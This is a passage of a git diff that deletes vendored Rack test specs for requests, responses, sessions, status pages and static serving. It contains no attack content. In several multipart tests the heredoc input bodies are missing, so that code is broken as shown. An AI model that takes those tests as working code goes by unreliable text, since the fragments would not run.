res["X-Query-String"].should.equal "meh" - end -end diff --git a/vendor/plugins/rack/test/spec_rack_request.rb b/vendor/plugins/rack/test/spec_rack_request.rb deleted file mode 100644 index e63eee04..00000000 --- a/vendor/plugins/rack/test/spec_rack_request.rb +++ /dev/null @@ -1,446 +0,0 @@ -require 'test/spec' -require 'stringio' - -require 'rack/request' -require 'rack/mock' - -context "Rack::Request" do - specify "wraps the rack variables" do - req = Rack::Request.new(Rack::MockRequest.env_for("http://example.com:8080/")) - - req.body.should.respond_to? :gets - req.scheme.should.equal "http" - req.request_method.should.equal "GET" - - req.should.be.get - req.should.not.be.post - req.should.not.be.put - req.should.not.be.delete - req.should.not.be.head - - req.script_name.should.equal "" - req.path_info.should.equal "/" - req.query_string.should.equal "" - - req.host.should.equal "example.com" - req.port.should.equal 8080 - - req.content_length.should.be.nil - req.content_type.should.be.nil - end - - specify "can figure out the correct host" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", "HTTP_HOST" => "www2.example.org") - req.host.should.equal "www2.example.org" - - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", "SERVER_NAME" => "example.org:9292") - req.host.should.equal "example.org" - end - - specify "can parse the query string" do - req = Rack::Request.new(Rack::MockRequest.env_for("/?foo=bar&quux=bla")) - req.query_string.should.equal "foo=bar&quux=bla" - req.GET.should.equal "foo" => "bar", "quux" => "bla" - req.POST.should.be.empty - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "can parse POST data" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla") - req.content_type.should.be.nil - req.media_type.should.be.nil - req.query_string.should.equal "foo=quux" - req.GET.should.equal "foo" => "quux" - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "can parse POST data with explicit content type" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', - :input => "foo=bar&quux=bla") - req.content_type.should.equal 'application/x-www-form-urlencoded;foo=bar' - req.media_type.should.equal 'application/x-www-form-urlencoded' - req.media_type_params['foo'].should.equal 'bar' - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "does not parse POST data when media type is not form-data" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/?foo=quux", - "CONTENT_TYPE" => 'text/plain;charset=utf-8', - :input => "foo=bar&quux=bla") - req.content_type.should.equal 'text/plain;charset=utf-8' - req.media_type.should.equal 'text/plain' - req.media_type_params['charset'].should.equal 'utf-8' - req.POST.should.be.empty - req.params.should.equal "foo" => "quux" - req.body.read.should.equal "foo=bar&quux=bla" - end - - specify "rewinds input after parsing POST data" do - input = StringIO.new("foo=bar&quux=bla") - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', - :input => input) - req.params.should.equal "foo" => "bar", "quux" => "bla" - input.read.should.equal "foo=bar&quux=bla" - end - - specify "does not rewind unwindable CGI input" do - input = StringIO.new("foo=bar&quux=bla") - input.instance_eval "undef :rewind" - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', - :input => input) - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "can get value by key from params with #[]" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("?foo=quux") - req['foo'].should.equal 'quux' - req[:foo].should.equal 'quux' - end - - specify "can set value to key on params with #[]=" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("?foo=duh") - req['foo'].should.equal 'duh' - req[:foo].should.equal 'duh' - req.params.should.equal 'foo' => 'duh' - - req['foo'] = 'bar' - req.params.should.equal 'foo' => 'bar' - req['foo'].should.equal 'bar' - req[:foo].should.equal 'bar' - - req[:foo] = 'jaz' - req.params.should.equal 'foo' => 'jaz' - req['foo'].should.equal 'jaz' - req[:foo].should.equal 'jaz' - end - - specify "values_at answers values by keys in order given" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("?foo=baz&wun=der&bar=ful") - req.values_at('foo').should.equal ['baz'] - req.values_at('foo', 'wun').should.equal ['baz', 'der'] - req.values_at('bar', 'foo', 'wun').should.equal ['ful', 'baz', 'der'] - end - - specify "referrer should be extracted correct" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", "HTTP_REFERER" => "/some/path") - req.referer.should.equal "/some/path" - - req = Rack::Request.new \ - Rack::MockRequest.env_for("/") - req.referer.should.equal "/" - end - - specify "can cache, but invalidates the cache" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla") - req.GET.should.equal "foo" => "quux" - req.GET.should.equal "foo" => "quux" - req.env["QUERY_STRING"] = "bla=foo" - req.GET.should.equal "bla" => "foo" - req.GET.should.equal "bla" => "foo" - - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.env["rack.input"] = StringIO.new("foo=bla&quux=bar") - req.POST.should.equal "foo" => "bla", "quux" => "bar" - req.POST.should.equal "foo" => "bla", "quux" => "bar" - end - - specify "can figure out if called via XHR" do - req = Rack::Request.new(Rack::MockRequest.env_for("")) - req.should.not.be.xhr - - req = Rack::Request.new \ - Rack::MockRequest.env_for("", "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest") - req.should.be.xhr - end - - specify "can parse cookies" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("", "HTTP_COOKIE" => "foo=bar;quux=h&m") - req.cookies.should.equal "foo" => "bar", "quux" => "h&m" - req.cookies.should.equal "foo" => "bar", "quux" => "h&m" - req.env.delete("HTTP_COOKIE") - req.cookies.should.equal({}) - end - - specify "parses cookies according to RFC 2109" do - req = Rack::Request.new \ - Rack::MockRequest.env_for('', 'HTTP_COOKIE' => 'foo=bar;foo=car') - req.cookies.should.equal 'foo' => 'bar' - end - - specify "provides setters" do - req = Rack::Request.new(e=Rack::MockRequest.env_for("")) - req.script_name.should.equal "" - req.script_name = "/foo" - req.script_name.should.equal "/foo" - e["SCRIPT_NAME"].should.equal "/foo" - - req.path_info.should.equal "/" - req.path_info = "/foo" - req.path_info.should.equal "/foo" - e["PATH_INFO"].should.equal "/foo" - end - - specify "provides the original env" do - req = Rack::Request.new(e=Rack::MockRequest.env_for("")) - req.env.should.be e - end - - specify "can restore the URL" do - Rack::Request.new(Rack::MockRequest.env_for("")).url. - should.equal "http://example.org/" - Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).url. - should.equal "http://example.org/foo/" - Rack::Request.new(Rack::MockRequest.env_for("/foo")).url. - should.equal "http://example.org/foo" - Rack::Request.new(Rack::MockRequest.env_for("?foo")).url. - should.equal "http://example.org/?foo" - Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).url. - should.equal "http://example.org:8080/" - Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).url. - should.equal "https://example.org/" - - Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).url. - should.equal "https://example.com:8080/foo?foo" - end - - specify "can restore the full path" do - Rack::Request.new(Rack::MockRequest.env_for("")).fullpath. - should.equal "/" - Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).fullpath. - should.equal "/foo/" - Rack::Request.new(Rack::MockRequest.env_for("/foo")).fullpath. - should.equal "/foo" - Rack::Request.new(Rack::MockRequest.env_for("?foo")).fullpath. - should.equal "/?foo" - Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).fullpath. - should.equal "/" - Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).fullpath. - should.equal "/" - - Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).fullpath. - should.equal "/foo?foo" - end - - specify "can handle multiple media type parameters" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'text/plain; foo=BAR,baz=bizzle dizzle;BLING=bam') - req.should.not.be.form_data - req.media_type_params.should.include 'foo' - req.media_type_params['foo'].should.equal 'BAR' - req.media_type_params.should.include 'baz' - req.media_type_params['baz'].should.equal 'bizzle dizzle' - req.media_type_params.should.not.include 'BLING' - req.media_type_params.should.include 'bling' - req.media_type_params['bling'].should.equal 'bam' - end - - specify "can parse multipart form data" do - # Adapted from RFC 1867. - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - req.POST.should.include "fileupload" - req.POST.should.include "reply" - - req.should.be.form_data - req.content_length.should.equal input.size - req.media_type.should.equal 'multipart/form-data' - req.media_type_params.should.include 'boundary' - req.media_type_params['boundary'].should.equal 'AaB03x' - - req.POST["reply"].should.equal "yes" - - f = req.POST["fileupload"] - f.should.be.kind_of Hash - f[:type].should.equal "image/jpeg" - f[:filename].should.equal "dj.jpg" - f.should.include :tempfile - f[:tempfile].size.should.equal 76 - end - - specify "can parse big multipart form data" do - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - req.POST["huge"][:tempfile].size.should.equal 32768 - req.POST["mean"][:tempfile].size.should.equal 10 - req.POST["mean"][:tempfile].read.should.equal "--AaB03xha" - end - - specify "can detect invalid multipart form data" do - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda { req.POST }.should.raise(EOFError) - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda { req.POST }.should.raise(EOFError) - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda { req.POST }.should.raise(EOFError) - end - - specify "should work around buggy 1.8.* Tempfile equality" do - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => rack_input) - - lambda {req.POST}.should.not.raise - lambda {req.POST}.should.blaming("input re-processed!").not.raise - end - - specify "does conform to the Rack spec" do - app = lambda { |env| - content = Rack::Request.new(env).POST["file"].inspect - size = content.respond_to?(:bytesize) ? content.bytesize : content.size - [200, {"Content-Type" => "text/html", "Content-Length" => size.to_s}, content] - } - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size.to_s, "rack.input" => StringIO.new(input) - - res.should.be.ok - end - - specify "should parse Accept-Encoding correctly" do - parser = lambda do |x| - Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => x)).accept_encoding - end - - parser.call(nil).should.equal([]) - - parser.call("compress, gzip").should.equal([["compress", 1.0], ["gzip", 1.0]]) - parser.call("").should.equal([]) - parser.call("*").should.equal([["*", 1.0]]) - parser.call("compress;q=0.5, gzip;q=1.0").should.equal([["compress", 0.5], ["gzip", 1.0]]) - parser.call("gzip;q=1.0, identity; q=0.5, *;q=0").should.equal([["gzip", 1.0], ["identity", 0.5], ["*", 0] ]) - - lambda { parser.call("gzip ; q=1.0") }.should.raise(RuntimeError) - end - - specify 'should provide ip information' do - app = lambda { |env| - request = Rack::Request.new(env) - response = Rack::Response.new - response.write request.ip - response.finish - } - - mock = Rack::MockRequest.new(Rack::Lint.new(app)) - res = mock.get '/', 'REMOTE_ADDR' => '123.123.123.123' - res.body.should == '123.123.123.123' - - res = mock.get '/', - 'REMOTE_ADDR' => '123.123.123.123', - 'HTTP_X_FORWARDED_FOR' => '234.234.234.234' - - res.body.should == '234.234.234.234' - - res = mock.get '/', - 'REMOTE_ADDR' => '123.123.123.123', - 'HTTP_X_FORWARDED_FOR' => '234.234.234.234,212.212.212.212' - - res.body.should == '212.212.212.212' - end -end diff --git a/vendor/plugins/rack/test/spec_rack_response.rb b/vendor/plugins/rack/test/spec_rack_response.rb deleted file mode 100644 index 748007af..00000000 --- a/vendor/plugins/rack/test/spec_rack_response.rb +++ /dev/null @@ -1,174 +0,0 @@ -require 'test/spec' -require 'set' - -require 'rack/response' - -context "Rack::Response" do - specify "has sensible default values" do - response = Rack::Response.new - status, header, body = response.finish - status.should.equal 200 - header.should.equal "Content-Type" => "text/html", "Content-Length" => "0" - body.each { |part| - part.should.equal "" - } - - response = Rack::Response.new - status, header, body = *response - status.should.equal 200 - header.should.equal "Content-Type" => "text/html", "Content-Length" => "0" - body.each { |part| - part.should.equal "" - } - end - - specify "can be written to" do - response = Rack::Response.new - - status, header, body = response.finish do - response.write "foo" - response.write "bar" - response.write "baz" - end - - parts = [] - body.each { |part| parts << part } - - parts.should.equal ["foo", "bar", "baz"] - end - - specify "can set and read headers" do - response = Rack::Response.new - response["Content-Type"].should.equal "text/html" - response["Content-Type"] = "text/plain" - response["Content-Type"].should.equal "text/plain" - end - - specify "can set cookies" do - response = Rack::Response.new - - response.set_cookie "foo", "bar" - response["Set-Cookie"].should.equal "foo=bar" - response.set_cookie "foo2", "bar2" - response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2"] - response.set_cookie "foo3", "bar3" - response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2", "foo3=bar3"] - end - - specify "formats the Cookie expiration date accordingly to RFC 2109" do - response = Rack::Response.new - - response.set_cookie "foo", {:value => "bar", :expires => Time.now+10} - response["Set-Cookie"].should.match( - /expires=..., \d\d-...-\d\d\d\d \d\d:\d\d:\d\d .../) - end - - specify "can set secure cookies" do - response = Rack::Response.new - response.set_cookie "foo", {:value => "bar", :secure => true} - response["Set-Cookie"].should.equal "foo=bar; secure" - end - - specify "can delete cookies" do - response = Rack::Response.new - response.set_cookie "foo", "bar" - response.set_cookie "foo2", "bar2" - response.delete_cookie "foo" - response["Set-Cookie"].should.equal ["foo2=bar2", - "foo=; expires=Thu, 01-Jan-1970 00:00:00 GMT"] - end - - specify "has a useful constructor" do - r = Rack::Response.new("foo") - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foo" - - r = Rack::Response.new(["foo", "bar"]) - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foobar" - - r = Rack::Response.new(["foo", "bar"].to_set) - r.write "foo" - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foobarfoo" - - r = Rack::Response.new([], 500) - r.status.should.equal 500 - end - - specify "has a constructor that can take a block" do - r = Rack::Response.new { |res| - res.status = 404 - res.write "foo" - } - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foo" - status.should.equal 404 - end - - specify "doesn't return invalid responses" do - r = Rack::Response.new(["foo", "bar"], 204) - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.be.empty - header["Content-Type"].should.equal nil - - lambda { - Rack::Response.new(Object.new) - }.should.raise(TypeError). - message.should =~ /stringable or iterable required/ - end - - specify "knows if it's empty" do - r = Rack::Response.new - r.should.be.empty - r.write "foo" - r.should.not.be.empty - - r = Rack::Response.new - r.should.be.empty - r.finish - r.should.be.empty - - r = Rack::Response.new - r.should.be.empty - r.finish { } - r.should.not.be.empty - end - - specify "should provide access to the HTTP status" do - res = Rack::Response.new - res.status = 200 - res.should.be.successful - res.should.be.ok - - res.status = 404 - res.should.not.be.successful - res.should.be.client_error - res.should.be.not_found - - res.status = 501 - res.should.not.be.successful - res.should.be.server_error - - res.status = 307 - res.should.be.redirect - end - - specify "should provide access to the HTTP headers" do - res = Rack::Response.new - res["Content-Type"] = "text/yaml" - - res.should.include "Content-Type" - res.headers["Content-Type"].should.equal "text/yaml" - res["Content-Type"].should.equal "text/yaml" - res.content_type.should.equal "text/yaml" - res.content_length.should.be.nil - res.location.should.be.nil - end - -end diff --git a/vendor/plugins/rack/test/spec_rack_session_cookie.rb b/vendor/plugins/rack/test/spec_rack_session_cookie.rb deleted file mode 100644 index 3be88b43..00000000 --- a/vendor/plugins/rack/test/spec_rack_session_cookie.rb +++ /dev/null @@ -1,82 +0,0 @@ -require 'test/spec' - -require 'rack/session/cookie' -require 'rack/mock' -require 'rack/response' - -context "Rack::Session::Cookie" do - incrementor = lambda { |env| - env["rack.session"]["counter"] ||= 0 - env["rack.session"]["counter"] += 1 - Rack::Response.new(env["rack.session"].inspect).to_a - } - - specify "creates a new cookie" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/") - res["Set-Cookie"].should.match("rack.session=") - res.body.should.equal '{"counter"=>1}' - end - - specify "loads from a cookie" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/") - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>3}' - end - - specify "survives broken cookies" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). - get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") - res.body.should.equal '{"counter"=>1}' - end - - bigcookie = lambda { |env| - env["rack.session"]["cookie"] = "big" * 3000 - Rack::Response.new(env["rack.session"].inspect).to_a - } - - specify "barks on too big cookies" do - lambda { - Rack::MockRequest.new(Rack::Session::Cookie.new(bigcookie)). - get("/", :fatal => true) - }.should.raise(Rack::MockRequest::FatalWarning) - end - - specify "creates a new cookie with integrity hash" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/") - if RUBY_VERSION < "1.9" - res["Set-Cookie"].should.match("rack.session=BAh7BiIMY291bnRlcmkG%0A--1439b4d37b9d4b04c603848382f712d6fcd31088") - else - res["Set-Cookie"].should.match("rack.session=BAh7BkkiDGNvdW50ZXIGOg1lbmNvZGluZyINVVMtQVNDSUlpBg%3D%3D%0A--d7a6637b94d2728194a96c18484e1f7ed9074a83") - end - end - - specify "loads from a cookie wih integrity hash" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/") - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>3}' - end - - specify "ignores tampered with session cookies" do - app = Rack::Session::Cookie.new(incrementor, :secret => 'test') - response1 = Rack::MockRequest.new(app).get("/") - _, digest = response1["Set-Cookie"].split("--") - tampered_with_cookie = "hackerman-was-here" + "--" + digest - response2 = Rack::MockRequest.new(app).get("/", "HTTP_COOKIE" => - tampered_with_cookie) - - # The tampered-with cookie is ignored, so we get back an identical Set-Cookie - response2["Set-Cookie"].should.equal(response1["Set-Cookie"]) - end -end diff --git a/vendor/plugins/rack/test/spec_rack_session_memcache.rb b/vendor/plugins/rack/test/spec_rack_session_memcache.rb deleted file mode 100644 index 44352413..00000000 --- a/vendor/plugins/rack/test/spec_rack_session_memcache.rb +++ /dev/null @@ -1,132 +0,0 @@ -require 'test/spec' - -begin - require 'rack/session/memcache' - require 'rack/mock' - require 'rack/response' - require 'thread' - - context "Rack::Session::Memcache" do - incrementor = lambda { |env| - env["rack.session"]["counter"] ||= 0 - env["rack.session"]["counter"] += 1 - Rack::Response.new(env["rack.session"].inspect).to_a - } - - # Keep this first. - specify "startup" do - $pid = fork { - exec "memcached" - } - sleep 1 - end - - specify "faults on no connection" do - lambda do - Rack::Session::Memcache.new(incrementor, :memcache_server => '') - end.should.raise - end - - specify "creates a new cookie" do - cache = Rack::Session::Memcache.new(incrementor) - res = Rack::MockRequest.new(cache).get("/") - res["Set-Cookie"].should.match("rack.session=") - res.body.should.equal '{"counter"=>1}' - end - - specify "determines session from a cookie" do - cache = Rack::Session::Memcache.new(incrementor) - res = Rack::MockRequest.new(cache).get("/") - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(cache).get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - res = Rack::MockRequest.new(cache).get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>3}' - end - - specify "survives broken cookies" do - cache = Rack::Session::Memcache.new(incrementor) - res = Rack::MockRequest.new(cache). - get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") - res.body.should.equal '{"counter"=>1}' - end - - specify "maintains freshness" do - cache = Rack::Session::Memcache.new(incrementor, :expire_after => 3) - res = Rack::MockRequest.new(cache).get('/') - res.body.should.include '"counter"=>1' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(cache).get('/', "HTTP_COOKIE" => cookie) - res["Set-Cookie"].should.equal cookie - res.body.should.include '"counter"=>2' - puts 'Sleeping to expire session' if $DEBUG - sleep 4 - res = Rack::MockRequest.new(cache).get('/', "HTTP_COOKIE" => cookie) - res["Set-Cookie"].should.not.equal cookie - res.body.should.include '"counter"=>1' - end - - specify "multithread: should cleanly merge sessions" do - cache = Rack::Session::Memcache.new(incrementor) - drop_counter = Rack::Session::Memcache.new(proc do |env| - env['rack.session'].delete 'counter' - env['rack.session']['foo'] = 'bar' - [200, {'Content-Type'=>'text/plain'}, env['rack.session'].inspect] - end) - - res = Rack::MockRequest.new(cache).get('/') - res.body.should.equal '{"counter"=>1}' - cookie = res["Set-Cookie"] - sess_id = cookie[/#{cache.key}=([^,;]+)/, 1] - - res = Rack::MockRequest.new(cache).get('/', "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - - r = Array.new(rand(7).to_i+2) do |i| - app = proc do |env| - env['rack.session'][i] = Time.now - sleep 2 - env['rack.session'] = env['rack.session'].dup - env['rack.session'][i] -= Time.now - incrementor.call(env) - end - Thread.new(cache.context(app)) do |run| - Rack::MockRequest.new(run). - get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true) - end - end - - r.reverse! - - r.map! do |t| - p t if $DEBUG - t.join.value - end - - r.each do |res| - res['Set-Cookie'].should.equal cookie - res.body.should.include '"counter"=>3' - end - - session = cache.pool[sess_id] - session.size.should.be r.size+1 - session['counter'].should.be 3 - - res = Rack::MockRequest.new(drop_counter).get('/', "HTTP_COOKIE" => cookie) - res.body.should.include '"foo"=>"bar"' - - session = cache.pool[sess_id] - session.size.should.be r.size+1 - session['counter'].should.be.nil? - session['foo'].should.equal 'bar' - end - - # Keep this last. - specify "shutdown" do - Process.kill 15, $pid - Process.wait($pid).should.equal $pid - end - end -rescue LoadError - $stderr.puts "Skipping Rack::Session::Memcache tests (Memcache is required). `gem install memcache-client` and try again." -end diff --git a/vendor/plugins/rack/test/spec_rack_session_pool.rb b/vendor/plugins/rack/test/spec_rack_session_pool.rb deleted file mode 100644 index 794f9619..00000000 --- a/vendor/plugins/rack/test/spec_rack_session_pool.rb +++ /dev/null @@ -1,84 +0,0 @@ -require 'test/spec' - -require 'rack/session/pool' -require 'rack/mock' -require 'rack/response' -require 'thread' - -context "Rack::Session::Pool" do - incrementor = lambda { |env| - env["rack.session"]["counter"] ||= 0 - env["rack.session"]["counter"] += 1 - Rack::Response.new(env["rack.session"].inspect).to_a - } - - specify "creates a new cookie" do - pool = Rack::Session::Pool.new(incrementor) - res = Rack::MockRequest.new(pool).get("/") - res["Set-Cookie"].should.match("rack.session=") - res.body.should.equal '{"counter"=>1}' - end - - specify "determines session from a cookie" do - pool = Rack::Session::Pool.new(incrementor) - res = Rack::MockRequest.new(pool).get("/") - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(pool).get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - res = Rack::MockRequest.new(pool).get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>3}' - end - - specify "survives broken cookies" do - pool = Rack::Session::Pool.new(incrementor) - res = Rack::MockRequest.new(pool). - get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") - res.body.should.equal '{"counter"=>1}' - end - - specify "maintains freshness" do - pool = Rack::Session::Pool.new(incrementor, :expire_after => 3) - res = Rack::MockRequest.new(pool).get('/') - res.body.should.include '"counter"=>1' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) - res["Set-Cookie"].should.equal cookie - res.body.should.include '"counter"=>2' - sleep 4 - res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) - res["Set-Cookie"].should.not.equal cookie - res.body.should.include '"counter"=>1' - end - - specify "multithread: should merge sessions" do - delta_incrementor = lambda do |env| - # emulate disconjoinment of threading - env['rack.session'] = env['rack.session'].dup - Thread.stop - env['rack.session'][(Time.now.usec*rand).to_i] = true - incrementor.call(env) - end - pool = Rack::Session::Pool.new(incrementor) - res = Rack::MockRequest.new(pool).get('/') - res.body.should.equal '{"counter"=>1}' - cookie = res["Set-Cookie"] - sess_id = cookie[/#{pool.key}=([^,;]+)/,1] - - pool = pool.context(delta_incrementor) - r = Array.new(rand(7).to_i+3). - map! do - Thread.new do - Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) - end - end. - reverse!. - map!{|t| t.run.join.value } - session = pool.for.pool[sess_id] # for is needed by Utils::Context - session.size.should.be r.size+1 # counter - session['counter'].should.be 2 # meeeh - r.each do |res| - res['Set-Cookie'].should.equal cookie - res.body.should.include '"counter"=>2' - end - end -end diff --git a/vendor/plugins/rack/test/spec_rack_showexceptions.rb b/vendor/plugins/rack/test/spec_rack_showexceptions.rb deleted file mode 100644 index bdbc1201..00000000 --- a/vendor/plugins/rack/test/spec_rack_showexceptions.rb +++ /dev/null @@ -1,21 +0,0 @@ -require 'test/spec' - -require 'rack/showexceptions' -require 'rack/mock' - -context "Rack::ShowExceptions" do - specify "catches exceptions" do - res = nil - req = Rack::MockRequest.new(Rack::ShowExceptions.new(lambda { |env| - raise RuntimeError - })) - lambda { - res = req.get("/") - }.should.not.raise - res.should.be.a.server_error - res.status.should.equal 500 - - res.should =~ /RuntimeError/ - res.should =~ /ShowExceptions/ - end -end diff --git a/vendor/plugins/rack/test/spec_rack_showstatus.rb b/vendor/plugins/rack/test/spec_rack_showstatus.rb deleted file mode 100644 index 78700134..00000000 --- a/vendor/plugins/rack/test/spec_rack_showstatus.rb +++ /dev/null @@ -1,72 +0,0 @@ -require 'test/spec' - -require 'rack/showstatus' -require 'rack/mock' - -context "Rack::ShowStatus" do - specify "should provide a default status message" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] - })) - - res = req.get("/", :lint => true) - res.should.be.not_found - res.should.be.not.empty - - res["Content-Type"].should.equal("text/html") - res.should =~ /404/ - res.should =~ /Not Found/ - end - - specify "should let the app provide additional information" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - env["rack.showstatus.detail"] = "gone too meta." - [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] - })) - - res = req.get("/", :lint => true) - res.should.be.not_found - res.should.be.not.empty - - res["Content-Type"].should.equal("text/html") - res.should =~ /404/ - res.should =~ /Not Found/ - res.should =~ /too meta/ - end - - specify "should not replace existing messages" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]] - })) - res = req.get("/", :lint => true) - res.should.be.not_found - - res.body.should == "foo!" - end - - specify "should pass on original headers" do - headers = {"WWW-Authenticate" => "Basic blah"} - - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| [401, headers, []] })) - res = req.get("/", :lint => true) - - res["WWW-Authenticate"].should.equal("Basic blah") - end - - specify "should replace existing messages if there is detail" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - env["rack.showstatus.detail"] = "gone too meta." - [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]] - })) - - res = req.get("/", :lint => true) - res.should.be.not_found - res.should.be.not.empty - - res["Content-Type"].should.equal("text/html") - res["Content-Length"].should.not.equal("4") - res.should =~ /404/ - res.should =~ /too meta/ - res.body.should.not =~ /foo/ - end -end diff --git a/vendor/plugins/rack/test/spec_rack_static.rb b/vendor/plugins/rack/test/spec_rack_static.rb deleted file mode 100644 index 67cf97ec..00000000 --- a/vendor/plugins/rack/test/spec_rack_static.rb +++ /dev/null @@ -1,37 +0,0 @@ -require 'test/spec' - -require 'rack/static' -require 'rack/mock' - -class DummyApp - def call(env) - [200, {}, "Hello World"] - end -end - -context "Rack::Static" do - root = File.expand_path(File.dirname(__FILE__)) - OPTIONS = {:urls => ["/cgi"], :root => root} - - setup do - @request = Rack::MockRequest.new(Rack::Static.new(DummyApp.new, OPTIONS)) - end - - specify "serves files" do - res = @request.get("/cgi/test") - res.should.be.ok - res.body.should =~ /ruby/ - end - - specify "404s if url root is known but it can't find the file" do - res = @request.get("/cgi/foo") - res.should.be.not_found - end - - specify "calls down the chain if url root is not known" do - res = @request.get("/something/else") - res.should.be.ok - res.body.should == "Hello World" - end - -end \ No newline at end of file diff --git a/vendor/plugins/rack/test/spec_rack_thin.rb b/vendor/plugins/rack/test/spec_rack_thin.rb deleted file mode 100644 index ee128d6b..00000000 --- a/vendor/plugins/rack/test/spec_rack_thin.rb +++ /dev/null @@ -1,90 +0,0 @@ -require 'test/spec' - -begin -require 'rack/handler/thin' -require 'testrequest' -require 'timeout' - -context "Rack::Handler::Thin" do - include TestRequest::Helpers - - setup do - @app = Rack::Lint.new(TestRequest.new) - Thin::Logging.silent = true - @thread = Thread.new do - Rack::Handler::Thin.run(@app, :Host => @host='0.0.0.0', :Port => @port=9201) do |server| - @server = server - end - end - Thread.pass until @server && 